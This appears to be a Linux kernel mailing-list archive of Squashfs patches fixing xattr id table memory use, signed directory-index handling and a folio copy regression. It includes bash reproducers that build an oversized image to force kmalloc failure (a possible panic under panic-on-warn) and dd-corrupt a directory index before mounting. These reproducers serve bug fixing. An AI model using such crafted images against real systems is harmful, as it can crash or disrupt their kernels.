218 lines not on this page · raw message
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: don't store large xattr id table indexes in memory has been removed from the -mm tree. Its filename was…
The quilt patch titled
Subject: Squashfs: don't store large xattr id table indexes in memory
has been removed from the -mm tree. Its filename was
squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: don't store large xattr id table indexes in memory
Date: Wed, 11 Nov 2026 23:43:59 +0000
When mounting a Squashfs filesystem, the code reads the entire xattr id table indexes into memory. Their size is determined by the number of xattr ids in the filesystem, where the maximum number of xattr ids is 2^32, and this will allocate and read 64 MiB.
This is an excessive and unnecessary amount of memory because the indexes do not need to be read into memory in their entirety. In addition kmalloc() is used to allocate memory, and this can fail when large amounts of memory are requested. Kmalloc() on modern kernels is usually limited to 4096 KiB. If panic-on-warn is set, then failure to allocate memory will result in a kernel panic.
This commit uses a 4 page cache if the size of the xattr id table indexes are 4 pages or larger. A simple and fast lookup array is retained where the total index size is less than 4 pages in size, which is the vast majority of Squashfs filesystems.
Reproducer
==========
The following reproducer will create a Squashfs filesystem with 280 million xattr ids, which will cause the xattr id table indexes to exceed 4096 KiB, and the kmalloc() should fail when the filesystem is mounted.
=====================================================================
#!/bin/bash
ARGS="-pf pseudo -mem 100m -no-hardlinks -no-sparse -no-duplicates " ARGS+="-no-exports -no-recovery -no-progress -no-xattr-dups"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}IMG=$PWD/reproducer.sqsh
DIR=$(mktemp -d)
if [ -e $IMG ]; then
rm $IMG
fi
pushd $DIR 2>&1 > /dev/null
# create 20 million pseudo file links to empty file touch a a=0 while [ $a -le 19 ]; do b=0 while [ $b -le 999 ]; do c=0 while [ $c -le 999 ]; do echo "X/$a/$b/$c l a" >> file echo "X/$a/$b/$c x user.x=1" >> file (( c ++ )) done (( b ++ )) done (( a ++ )) done
for i in $(seq 1 14); do
sed "s/X/$i/g" file > pseudo
echo
echo Iteration $i - appending 20 million files to Squashfs filesystem echo
if ! mksquashfs - $IMG -pd "d 0777 0 0" $ARGS; then
echo Appending to Squashfs filesystem failed finish
fi
done
popd 2>&1 > /dev/null
rm -rf $DIR
echo Generated Squashfs filesystem $IMG
=====================================================================
fs/squashfs/inode.c | 2 fs/squashfs/squashfs_fs_sb.h | 8 + fs/squashfs/squashfs_helpers.h | 29 +++++ fs/squashfs/super.c | 26 ++-- fs/squashfs/xattr.c | 22 ++-- fs/squashfs/xattr.h | 15 ++ fs/squashfs/xattr_id.c | 167 ++++++++++++++++++++++--------- 7 files changed, 197 insertions(+), 72 deletions(-)
fs/squashfs/inode.c renamed from fs/squashfs/inode.c~squashfs-dont-store-large-xattr-id-table-indexes-in-memory +1 -1
@@ -434,7 +434,7 @@ int squashfs_read_inode(struct inode *inreturn -EINVAL ; } -if (xattr_id !=SQUASHFS_INVALID_XATTR && msblk->xattr_id_table) { +if (xattr_id !=SQUASHFS_INVALID_XATTR && msblk->xattr_id_array) { err = squashfs_xattr_lookup(sb, xattr_id, &squashfs_i(inode)->xattr_count, &squashfs_i(inode)->xattr_size,
fs/squashfs/squashfs_fs_sb.h renamed from fs/squashfs/squashfs_fs_sb.h~squashfs-dont-store-large-xattr-id-table-indexes-in-memory +7 -1
@@ -63,7 +63,10 @@ struct squashfs_sb_info {__le64 *fragment_index_array;struct squashfs_cache *fragment_index_cache; }; -__le64 *xattr_id_table; +union { +__le64 *xattr_id_array; +struct squashfs_cache *xattr_id_cache; + };struct mutex meta_index_mutex;struct meta_index *meta_index;void *stream;
@@ -79,6 +82,8 @@ struct squashfs_sb_info {u64 xattr_table;u64 lookup_table;u64 lookup_table_start; +u64 xattr_id_table; +u64 xattr_id_table_start;unsigned int block_size;unsigned short block_log;long long bytes_used;
@@ -91,5 +96,6 @@ struct squashfs_sb_info {int max_thread_num;bool lookup_table_is_cache;bool fragment_index_is_cache; + bool xattr_id_is_cache; };#endif
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-dont-store-large-xattr-id-table-indexes-in-memory +28 -1
@@ -242,11 +242,38 @@ static inline s32 squashfs_xattr_blocks(SQUASHFS_METADATA_SIZE ; } -static inline s32 squashfs_xattr_block_bytes (u32 xattrs) +static inline s32 squashfs_xattr_blocks_bytes (u32 xattrs) {return squashfs_xattr_blocks (xattrs) *sizeof (long long ); } +static inline s32 squashfs_xattr_blocks_base (u32 xattrs) +{ +return (squashfs_xattr_block (xattrs) *sizeof (long long )) & ~(PAGE_SIZE -1 ); +} + +static inline s64 squashfs_xattr_blocks_start (u32 xattrs,struct squashfs_sb_info *msblk) +{ +s32 base =squashfs_xattr_blocks_base (xattrs); +s64 table_start = msblk->xattr_id_table +sizeof (struct squashfs_xattr_id_table ); +s64 start; + +if (S64_MAX - table_start < base) +return -EINVAL ; + + start = table_start + base; + +if (start > msblk->bytes_used) +return -EINVAL ; + +return start; +} + +static inline s16 squashfs_xattr_blocks_offset (u32 xattrs) +{ +return (squashfs_xattr_block (xattrs) *sizeof (long long )) & (PAGE_SIZE -1 ); +} +static inline u32 squashfs_xattr_blk (s64 xattr) {return xattr >>16 ;
fs/squashfs/super.c renamed from fs/squashfs/super.c~squashfs-dont-store-large-xattr-id-table-indexes-in-memory +16 -10
@@ -193,6 +193,14 @@ static void squashfs_free_fragment_indexkfree (msblk->fragment_index_array); } +static void squashfs_free_xattr_indexes (struct squashfs_sb_info *msblk) +{ +if (msblk->xattr_id_is_cache) +squashfs_cache_delete (msblk->xattr_id_cache); +else +kfree (msblk->xattr_id_array); +} +static int squashfs_fill_super (struct super_block *sb,struct fs_context *fc) {struct squashfs_mount_opts *opts = fc->fs_private;
@@ -202,7 +210,7 @@ static int squashfs_fill_super(struct sulong long root_inode;unsigned short flags;unsigned int fragments; -u64 xattr_id_table_start, next_table; +u64 next_table;s64 err;int devblksize =sb_min_blocksize (sb,SQUASHFS_DEVBLK_SIZE );
@@ -376,19 +384,17 @@ static int squashfs_fill_super(struct su/* Handle xattrs */ sb->s_xattr = squashfs_xattr_handlers; - xattr_id_table_start =le64_to_cpu (sblk->xattr_id_table_start); -if (xattr_id_table_start ==SQUASHFS_INVALID_BLK ) { + msblk->xattr_id_table =le64_to_cpu (sblk->xattr_id_table_start); +if (msblk->xattr_id_table ==SQUASHFS_INVALID_BLK ) { next_table = msblk->bytes_used; goto allocate_id_index_table; }/* Allocate and read xattr id lookup table */ - msblk->xattr_id_table =squashfs_read_xattr_id_table (sb, - xattr_id_table_start, &msblk->xattr_table, &msblk->xattr_ids); -if (IS_ERR (msblk->xattr_id_table)) { + err =squashfs_read_xattr_id_table (sb, msblk->xattr_id_table, + &msblk->xattr_table, &msblk->xattr_ids); +if (err <0 ) {errorf (fc,"unable to read xattr id index table" ); - err =PTR_ERR (msblk->xattr_id_table); - msblk->xattr_id_table =NULL ;if (err != -ENOTSUPP ) goto failed_mount; }
@@ -507,7 +513,7 @@ failed_mount:squashfs_free_inode_table (msblk);squashfs_free_fragment_indexes (msblk);kfree (msblk->id_table); -kfree (msblk->xattr_id_table); +squashfs_free_xattr_indexes (msblk);kfree (sb->s_fs_info); sb->s_fs_info =NULL ;kfree (sblk);
@@ -628,7 +634,7 @@ static void squashfs_put_super(struct susquashfs_free_fragment_indexes (sbi);kfree (sbi->meta_index);squashfs_free_inode_table (sbi); -kfree (sbi->xattr_id_table); +squashfs_free_xattr_indexes (sbi);kfree (sb->s_fs_info); sb->s_fs_info =NULL ; }
fs/squashfs/xattr.c renamed from fs/squashfs/xattr.c~squashfs-dont-store-large-xattr-id-table-indexes-in-memory +14 -8
@@ -30,10 +30,9 @@ ssize_t squashfs_listxattr(struct dentrystruct inode *inode =d_inode (d);struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) - + msblk->xattr_table; -int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); -unsigned int count =squashfs_i (inode)->xattr_count; +u64 start; +int offset; +unsigned int count;size_t rest = buffer_size;int err;
@@ -41,9 +40,13 @@ ssize_t squashfs_listxattr(struct dentryif (squashfs_i (inode)->xattr ==SQUASHFS_INVALID_BLK )return 0 ; + count =squashfs_i (inode)->xattr_count;if (count ==0 || count >squashfs_i (inode)->xattr_size)return -EIO ; + start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + msblk->xattr_table; + offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); +/* loop reading each xattr name */ while (count--) {struct squashfs_xattr_entry entry;
@@ -111,10 +114,9 @@ static int squashfs_xattr_get(struct ino {struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) - + msblk->xattr_table; -int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); -unsigned int count =squashfs_i (inode)->xattr_count; +u64 start; +int offset; +unsigned int count;int name_len =strlen (name);int err, vsize;char *target;
@@ -123,6 +125,7 @@ static int squashfs_xattr_get(struct inoif (squashfs_i (inode)->xattr ==SQUASHFS_INVALID_BLK )return -ENODATA ; + count =squashfs_i (inode)->xattr_count;if (count ==0 || count >squashfs_i (inode)->xattr_size)return -EIO ;
@@ -130,6 +133,9 @@ static int squashfs_xattr_get(struct inoif (target ==NULL )return -ENOMEM ; + start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + msblk->xattr_table; + offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); +/* loop reading each xattr name */ for (; count; count--) {struct squashfs_xattr_entry entry;
fs/squashfs/xattr.h renamed from fs/squashfs/xattr.h~squashfs-dont-store-large-xattr-id-table-indexes-in-memory +11 -4
@@ -9,25 +9,26 @@*/ #ifdef CONFIG_SQUASHFS_XATTR -extern __le64 *squashfs_read_xattr_id_table (struct super_block *,u64 , +extern int squashfs_read_xattr_id_table (struct super_block *,u64 ,u64 *,unsigned int *);extern int squashfs_xattr_lookup (struct super_block *,unsigned int ,unsigned int *,unsigned int *,unsigned long long *); +extern s64 squashfs_xattr_lookup_start (struct super_block *sb,u32 index);#else -static inline __le64 *squashfs_read_xattr_id_table (struct super_block *sb, +static inline int squashfs_read_xattr_id_table (struct super_block *sb,u64 start,u64 *xattr_table_start,unsigned int *xattr_ids) {struct squashfs_xattr_id_table *id_table; id_table =squashfs_read_table (sb, start,sizeof (*id_table));if (IS_ERR (id_table)) -return (__le64 *) id_table; +return PTR_ERR (id_table); *xattr_table_start =le64_to_cpu (id_table->xattr_table_start);kfree (id_table);ERROR ("Xattrs in filesystem, these will be ignored\n" ); -return ERR_PTR (-ENOTSUPP ); +return -ENOTSUPP ; } static inline int squashfs_xattr_lookup(struct super_block *sb,
@@ -36,6 +37,12 @@ static inline int squashfs_xattr_lookup( {return 0 ; } + +static inline s64 squashfs_xattr_lookup_start (struct super_block *sb,u32 index) +{ +return 0 ; +} +#define squashfs_listxattr NULL#define squashfs_xattr_handlers NULL#endif
fs/squashfs/xattr_id.c renamed from fs/squashfs/xattr_id.c~squashfs-dont-store-large-xattr-id-table-indexes-in-memory +120 -47
217 lines not on this page · raw message
_
Patches currently in -mm which might be from [email protected] are
squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 20/22 Squashfs: fix variables in directory code and add more sanity checks
In reply to Phillip LougherA directory larger than a metadata block (8192 bytes) will have a directory index to allow faster reading and lookup of names. This index allows the code to jump to the desired compressed metadata block, without requiring the directory to be scanned from the beginning.
But the index handling code has a defect in that multiple variables including those used to read and track directory indexes from disk are signed ints. This means any index which is 2^31 or larger will be treated as a negative value. The knock on efect of this is that the offset into the desired metadata block is incorrectly computed, with the result the directory fails to be read, and an I/O error is returned.
This commit corrects the variables (and function return value) to be unsigned int, and it also adds more sanity checking of the values read off disk (including directory size to avoid underflow in subtraction). Now if a directory index is found to be incorrect, the index is discarded and the previous index read from disk is used. This allows the directory to be read correctly without throwing an I/O error.
Reproducer
==========
The following reproducer creates a Squashfs filesystem with a root directory which has a directory index. The reproducer then corrupts root directory index 0 with an index value of -1. The filesystem is then mounted, and stat run on file /mnt/filename-490.
If the exploit succeeds stat will report an I/O error and dmesg will contain Squashfs error reports.
=====================================================================
#!/bin/bash
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
for i in $(seq 1 1000); do
echo "filename-$i f 0700 0 0 echo hello" >> pseudo
done
echo "Create a Squashfs filesystem"
if ! mksquashfs - img.sqsh -pf pseudo -pd "d 0777 0 0" -noI -no-progress -quiet; then
echo Creating the Squashfs filesystem failed
finish
fi
# Write -1 in little-endian format to file/usr/bin/echo -en "\xff\xff\xff\xff" > file
echo "Over-write the root directory index 0, with an index value of -1." echo "This because the metadata is uncompressed can be over-written directly," echo "but, normally the metadata will be compressed."
echo "The location of the 4 byte index is 32150"
dd bs=1 seek=32150 if=file of=img.sqsh count=4 conv=notrunc status=none
echo
echo "Mount the filesystem on /mnt"
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo
echo "Run stat /mnt/filename-490 on the mounted filesystem" echo
echo "If the exploit works stat will report I/O error, and dmesg will" echo "contain Squashfs error reports"
echo
stat /mnt/filename-490
umount /mnt
popd 2>&1 > /dev/null
rm -rf $DIR
exit 0
=====================================================================
--- fs/squashfs/dir.c | 73 ++++++++++++++++++++------ fs/squashfs/inode.c | 12 ++++- fs/squashfs/namei.c | 95 ++++++++++++++++++++++++++-------- fs/squashfs/squashfs_helpers.h | 7 +++ 4 files changed, 147 insertions(+), 40 deletions(-)
fs/squashfs/dir.c +57 -16
@@ -37,17 +37,17 @@ static const unsigned char squashfs_filetype_table[] = {* (if any) we have managed to read - the index isn't essential, just * quicker. */ -static int get_dir_index_using_offset (struct super_block *sb, +static unsigned int get_dir_index_using_offset (struct super_block *sb,u64 *next_block,int *next_offset,u64 index_start,int index_offset, -int i_count,u64 f_pos) +unsigned int i_count,loff_t max_index,u64 f_pos) {struct squashfs_sb_info *msblk = sb->s_fs_info;s64 res; -int err, i, index, length =0 ; -unsigned int size; +int err; +unsigned int i, index, length =0 , size, start_block, block;struct squashfs_dir_index dir_index; -TRACE ("Entered get_dir_index_using_offset, i_count %d, f_pos %lld\n" , +TRACE ("Entered get_dir_index_using_offset, i_count %u, f_pos %lld\n" , i_count, f_pos);/*
@@ -58,6 +58,18 @@ static int get_dir_index_using_offset(struct super_block *sb,if (f_pos <=3 )return f_pos; f_pos -=3 ; + max_index -=3 ; + +/* +* A valid index starts at a directory header, and there must be enough +* room for a directory header and one directory entry. +*/ +if (max_index <sizeof (struct squashfs_dir_header ) + +sizeof (struct squashfs_dir_entry ) +1 ) +return 3 ; + + max_index -=sizeof (struct squashfs_dir_header ) + +sizeof (struct squashfs_dir_entry ) +1 ;for (i =0 ; i < i_count; i++) { err = squashfs_read_metadata(sb, &dir_index, &index_start,
@@ -65,33 +77,51 @@ static int get_dir_index_using_offset(struct super_block *sb,if (err <0 )break ; +/* Sanity check the directory index contents */ + +/* size should never be larger than SQUASHFS_NAME_LEN */ + size =le32_to_cpu (dir_index.size) +1 ; +if (size >SQUASHFS_NAME_LEN ) +break ; + +/* The stored index should not be larger than max_index */ index =le32_to_cpu (dir_index.index); +if (index > max_index) +break ; + + block =le32_to_cpu (dir_index.start_block); + +if (i >0 ) { +/* The stored index should be larger than the previous index */ +if (index <= length) +break ; + +/* The start_block should not be less than the previous start_block */ +if (block < start_block) +break ; + } +if (index > f_pos)/* * Found the index we're looking for. */ break ; - size =le32_to_cpu (dir_index.size) +1 ; - -/* size should never be larger than SQUASHFS_NAME_LEN */ -if (size >SQUASHFS_NAME_LEN ) -break ; - err =squashfs_read_metadata (sb,NULL , &index_start, &index_offset, size);if (err <0 )break ; - res =squashfs_dir_start (le32_to_cpu (dir_index.start_block), msblk); + res =squashfs_dir_start (block, msblk);if (res <0 )break ; + start_block = block; length = index; *next_block = res; } - *next_offset = (length + *next_offset) %SQUASHFS_METADATA_SIZE ; + *next_offset = ((u64 )length + *next_offset) %SQUASHFS_METADATA_SIZE ;/* * Translate back from internal f_pos to external f_pos.
@@ -105,7 +135,8 @@ static int squashfs_readdir(struct file *file, struct dir_context *ctx)struct inode *inode =file_inode (file);struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;s64 block =squashfs_dir_start (squashfs_i (inode)->start, msblk); -int offset =squashfs_i (inode)->offset, length, err; +int offset =squashfs_i (inode)->offset, err; +loff_t length;unsigned int inode_number, dir_count, size, type;struct squashfs_dir_header dirh;struct squashfs_dir_entry *dire =NULL ;
@@ -154,12 +185,15 @@ static int squashfs_readdir(struct file *file, struct dir_context *ctx)squashfs_i (inode)->dir_idx_start,squashfs_i (inode)->dir_idx_offset,squashfs_i (inode)->dir_idx_cnt, - ctx->pos); + i_size_read(inode), ctx->pos);while (length <i_size_read (inode)) {/* * Read directory header */ +if (!squashfs_dir_space (inode, length,sizeof (dirh))) + goto failed_read; + err =squashfs_read_metadata (inode->i_sb, &dirh, &block, &offset,sizeof (dirh));if (err <0 )
@@ -176,23 +210,30 @@ static int squashfs_readdir(struct file *file, struct dir_context *ctx)/* * Read directory entry. */ +if (!squashfs_dir_space (inode, length,sizeof (*dire))) + goto failed_read; + err =squashfs_read_metadata (inode->i_sb, dire, &block, &offset,sizeof (*dire));if (err <0 ) goto failed_read; + length +=sizeof (*dire); size =le16_to_cpu (dire->size) +1 ;/* size should never be larger than SQUASHFS_NAME_LEN */ if (size >SQUASHFS_NAME_LEN ) goto failed_read; +if (!squashfs_dir_space (inode, length, size)) + goto failed_read; + err =squashfs_read_metadata (inode->i_sb, dire->name, &block, &offset, size);if (err <0 ) goto failed_read; - length +=sizeof (*dire) + size; + length += size;if (ctx->pos >= length)continue ;
fs/squashfs/inode.c +10 -2
@@ -253,8 +253,12 @@ int squashfs_read_inode(struct inode *inode, long long ino)if (err <0 ) goto failed_read; -set_nlink (inode,le32_to_cpu (sqsh_ino->nlink)); +/* The directory size must be 3 or larger, as it includes "." and ".." entries */ inode->i_size =le16_to_cpu (sqsh_ino->file_size); +if (inode->i_size <3 ) + goto failed_read; + +set_nlink (inode,le32_to_cpu (sqsh_ino->nlink)); inode->i_op = &squashfs_dir_inode_ops; inode->i_fop = &squashfs_dir_ops; inode->i_mode |=S_IFDIR ;
@@ -278,9 +282,13 @@ int squashfs_read_inode(struct inode *inode, long long ino)if (err <0 ) goto failed_read; +/* The directory size must be 3 or larger, as it includes "." and ".." entries */ + inode->i_size =le32_to_cpu (sqsh_ino->file_size); +if (inode->i_size <3 ) + goto failed_read; + xattr_id =le32_to_cpu (sqsh_ino->xattr);set_nlink (inode,le32_to_cpu (sqsh_ino->nlink)); - inode->i_size =le32_to_cpu (sqsh_ino->file_size); inode->i_op = &squashfs_dir_inode_ops; inode->i_fop = &squashfs_dir_ops; inode->i_mode |=S_IFDIR ;
fs/squashfs/namei.c +73 -22
172 lines not on this page · raw message
fs/squashfs/squashfs_helpers.h +7 -0
@@ -353,4 +353,11 @@ static inline s64 squashfs_add_indexes(u64 block, s64 blks, struct squashfs_sb_i return block + blks; } + +static inline bool squashfs_dir_space (struct inode *inode,loff_t length,int size) +{ +loff_t space =i_size_read (inode) - length; + +return space >= size; +}#endif
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: fix variables in directory code and add more sanity checks has been removed from the -mm tree. Its filename was…
The quilt patch titled
Subject: Squashfs: fix variables in directory code and add more sanity checks
has been removed from the -mm tree. Its filename was
squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: fix variables in directory code and add more sanity checks
Date: Wed, 11 Nov 2026 23:44:00 +0000
A directory larger than a metadata block (8192 bytes) will have a directory index to allow faster reading and lookup of names. This index allows the code to jump to the desired compressed metadata block, without requiring the directory to be scanned from the beginning.
But the index handling code has a defect in that multiple variables including those used to read and track directory indexes from disk are signed ints. This means any index which is 2^31 or larger will be treated as a negative value. The knock on efect of this is that the offset into the desired metadata block is incorrectly computed, with the result the directory fails to be read, and an I/O error is returned.
This commit corrects the variables (and function return value) to be unsigned int, and it also adds more sanity checking of the values read off disk (including directory size to avoid underflow in subtraction). Now if a directory index is found to be incorrect, the index is discarded and the previous index read from disk is used. This allows the directory to be read correctly without throwing an I/O error.
Reproducer
==========
The following reproducer creates a Squashfs filesystem with a root directory which has a directory index. The reproducer then corrupts root directory index 0 with an index value of -1. The filesystem is then mounted, and stat run on file /mnt/filename-490.
If the exploit succeeds stat will report an I/O error and dmesg will contain Squashfs error reports.
=====================================================================
#!/bin/bash
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
for i in $(seq 1 1000); do
echo "filename-$i f 0700 0 0 echo hello" >> pseudo
done
echo "Create a Squashfs filesystem"
if ! mksquashfs - img.sqsh -pf pseudo -pd "d 0777 0 0" -noI -no-progress -quiet; then
echo Creating the Squashfs filesystem failed
finish
fi
# Write -1 in little-endian format to file/usr/bin/echo -en "\xff\xff\xff\xff" > file
echo "Over-write the root directory index 0, with an index value of -1." echo "This because the metadata is uncompressed can be over-written directly," echo "but, normally the metadata will be compressed."
echo "The location of the 4 byte index is 32150"
dd bs=1 seek=32150 if=file of=img.sqsh count=4 conv=notrunc status=none
echo
echo "Mount the filesystem on /mnt"
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo
echo "Run stat /mnt/filename-490 on the mounted filesystem" echo
echo "If the exploit works stat will report I/O error, and dmesg will" echo "contain Squashfs error reports"
echo
stat /mnt/filename-490
umount /mnt
popd 2>&1 > /dev/null
rm -rf $DIR
exit 0
=====================================================================
fs/squashfs/dir.c | 73 ++++++++++++++++++----- fs/squashfs/inode.c | 12 +++ fs/squashfs/namei.c | 95 +++++++++++++++++++++++-------- fs/squashfs/squashfs_helpers.h | 7 ++ 4 files changed, 147 insertions(+), 40 deletions(-)
fs/squashfs/dir.c renamed from fs/squashfs/dir.c~squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks +57 -16
@@ -37,17 +37,17 @@ static const unsigned char squashfs_file* (if any) we have managed to read - the index isn't essential, just * quicker. */ -static int get_dir_index_using_offset (struct super_block *sb, +static unsigned int get_dir_index_using_offset (struct super_block *sb,u64 *next_block,int *next_offset,u64 index_start,int index_offset, -int i_count,u64 f_pos) +unsigned int i_count,loff_t max_index,u64 f_pos) {struct squashfs_sb_info *msblk = sb->s_fs_info;s64 res; -int err, i, index, length =0 ; -unsigned int size; +int err; +unsigned int i, index, length =0 , size, start_block, block;struct squashfs_dir_index dir_index; -TRACE ("Entered get_dir_index_using_offset, i_count %d, f_pos %lld\n" , +TRACE ("Entered get_dir_index_using_offset, i_count %u, f_pos %lld\n" , i_count, f_pos);/*
@@ -58,6 +58,18 @@ static int get_dir_index_using_offset(stif (f_pos <=3 )return f_pos; f_pos -=3 ; + max_index -=3 ; + +/* +* A valid index starts at a directory header, and there must be enough +* room for a directory header and one directory entry. +*/ +if (max_index <sizeof (struct squashfs_dir_header ) + +sizeof (struct squashfs_dir_entry ) +1 ) +return 3 ; + + max_index -=sizeof (struct squashfs_dir_header ) + +sizeof (struct squashfs_dir_entry ) +1 ;for (i =0 ; i < i_count; i++) { err = squashfs_read_metadata(sb, &dir_index, &index_start,
@@ -65,33 +77,51 @@ static int get_dir_index_using_offset(stif (err <0 )break ; +/* Sanity check the directory index contents */ + +/* size should never be larger than SQUASHFS_NAME_LEN */ + size =le32_to_cpu (dir_index.size) +1 ; +if (size >SQUASHFS_NAME_LEN ) +break ; + +/* The stored index should not be larger than max_index */ index =le32_to_cpu (dir_index.index); +if (index > max_index) +break ; + + block =le32_to_cpu (dir_index.start_block); + +if (i >0 ) { +/* The stored index should be larger than the previous index */ +if (index <= length) +break ; + +/* The start_block should not be less than the previous start_block */ +if (block < start_block) +break ; + } +if (index > f_pos)/* * Found the index we're looking for. */ break ; - size =le32_to_cpu (dir_index.size) +1 ; - -/* size should never be larger than SQUASHFS_NAME_LEN */ -if (size >SQUASHFS_NAME_LEN ) -break ; - err =squashfs_read_metadata (sb,NULL , &index_start, &index_offset, size);if (err <0 )break ; - res =squashfs_dir_start (le32_to_cpu (dir_index.start_block), msblk); + res =squashfs_dir_start (block, msblk);if (res <0 )break ; + start_block = block; length = index; *next_block = res; } - *next_offset = (length + *next_offset) %SQUASHFS_METADATA_SIZE ; + *next_offset = ((u64 )length + *next_offset) %SQUASHFS_METADATA_SIZE ;/* * Translate back from internal f_pos to external f_pos.
@@ -105,7 +135,8 @@ static int squashfs_readdir(struct filestruct inode *inode =file_inode (file);struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;s64 block =squashfs_dir_start (squashfs_i (inode)->start, msblk); -int offset =squashfs_i (inode)->offset, length, err; +int offset =squashfs_i (inode)->offset, err; +loff_t length;unsigned int inode_number, dir_count, size, type;struct squashfs_dir_header dirh;struct squashfs_dir_entry *dire =NULL ;
@@ -154,12 +185,15 @@ static int squashfs_readdir(struct filesquashfs_i (inode)->dir_idx_start,squashfs_i (inode)->dir_idx_offset,squashfs_i (inode)->dir_idx_cnt, - ctx->pos); + i_size_read(inode), ctx->pos);while (length <i_size_read (inode)) {/* * Read directory header */ +if (!squashfs_dir_space (inode, length,sizeof (dirh))) + goto failed_read; + err =squashfs_read_metadata (inode->i_sb, &dirh, &block, &offset,sizeof (dirh));if (err <0 )
@@ -176,23 +210,30 @@ static int squashfs_readdir(struct file/* * Read directory entry. */ +if (!squashfs_dir_space (inode, length,sizeof (*dire))) + goto failed_read; + err =squashfs_read_metadata (inode->i_sb, dire, &block, &offset,sizeof (*dire));if (err <0 ) goto failed_read; + length +=sizeof (*dire); size =le16_to_cpu (dire->size) +1 ;/* size should never be larger than SQUASHFS_NAME_LEN */ if (size >SQUASHFS_NAME_LEN ) goto failed_read; +if (!squashfs_dir_space (inode, length, size)) + goto failed_read; + err =squashfs_read_metadata (inode->i_sb, dire->name, &block, &offset, size);if (err <0 ) goto failed_read; - length +=sizeof (*dire) + size; + length += size;if (ctx->pos >= length)continue ;
fs/squashfs/inode.c renamed from fs/squashfs/inode.c~squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks +10 -2
@@ -253,8 +253,12 @@ int squashfs_read_inode(struct inode *inif (err <0 ) goto failed_read; -set_nlink (inode,le32_to_cpu (sqsh_ino->nlink)); +/* The directory size must be 3 or larger, as it includes "." and ".." entries */ inode->i_size =le16_to_cpu (sqsh_ino->file_size); +if (inode->i_size <3 ) + goto failed_read; + +set_nlink (inode,le32_to_cpu (sqsh_ino->nlink)); inode->i_op = &squashfs_dir_inode_ops; inode->i_fop = &squashfs_dir_ops; inode->i_mode |=S_IFDIR ;
@@ -278,9 +282,13 @@ int squashfs_read_inode(struct inode *inif (err <0 ) goto failed_read; +/* The directory size must be 3 or larger, as it includes "." and ".." entries */ + inode->i_size =le32_to_cpu (sqsh_ino->file_size); +if (inode->i_size <3 ) + goto failed_read; + xattr_id =le32_to_cpu (sqsh_ino->xattr);set_nlink (inode,le32_to_cpu (sqsh_ino->nlink)); - inode->i_size =le32_to_cpu (sqsh_ino->file_size); inode->i_op = &squashfs_dir_inode_ops; inode->i_fop = &squashfs_dir_ops; inode->i_mode |=S_IFDIR ;
fs/squashfs/namei.c renamed from fs/squashfs/namei.c~squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks +73 -22
172 lines not on this page · raw message
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks +7 -0
@@ -353,4 +353,11 @@ static inline s64 squashfs_add_indexes(u return block + blks; } + +static inline bool squashfs_dir_space (struct inode *inode,loff_t length,int size) +{ +loff_t space =i_size_read (inode) - length; + +return space >= size; +}#endif
_
Patches currently in -mm which might be from [email protected] are
squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 21/22 Squashfs: fix regression in squashfs_copy_cache()
In reply to Phillip LougherIn a recent commit updating the code to use folios, the bytes variable was changed from signed to unsigned in squashfs_copy_cache().
The bytes variable is used in a loop where PAGE_SIZE bytes are subtracted from it each time around the loop, and where the loop terminates once bytes is less than or equal to zero.
The effect of the change in signedness is bytes no longer becomes negative when it is not a multiple of PAGE_SIZE, and the loop does not terminate when it should do, and instead folios are created and filled after file EOF.
These beyond EOF folios are not visible to user-space and hence this is a silent regression.
This commit fixes the code to only subtract the minimum of bytes or PAGE_SIZE, and which ensures the variable does not underflow.
--- fs/squashfs/file.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-)
fs/squashfs/file.c +6 -4
@@ -410,6 +410,7 @@ void squashfs_copy_cache(struct folio *folio,struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;s64 i, mask = (1 << (msblk->block_log -PAGE_SHIFT )) -1 ;s64 start_index = folio->index & ~mask, end_index = start_index | mask; +size_t avail;/* * Loop copying datablock into pages. As the datablock likely covers
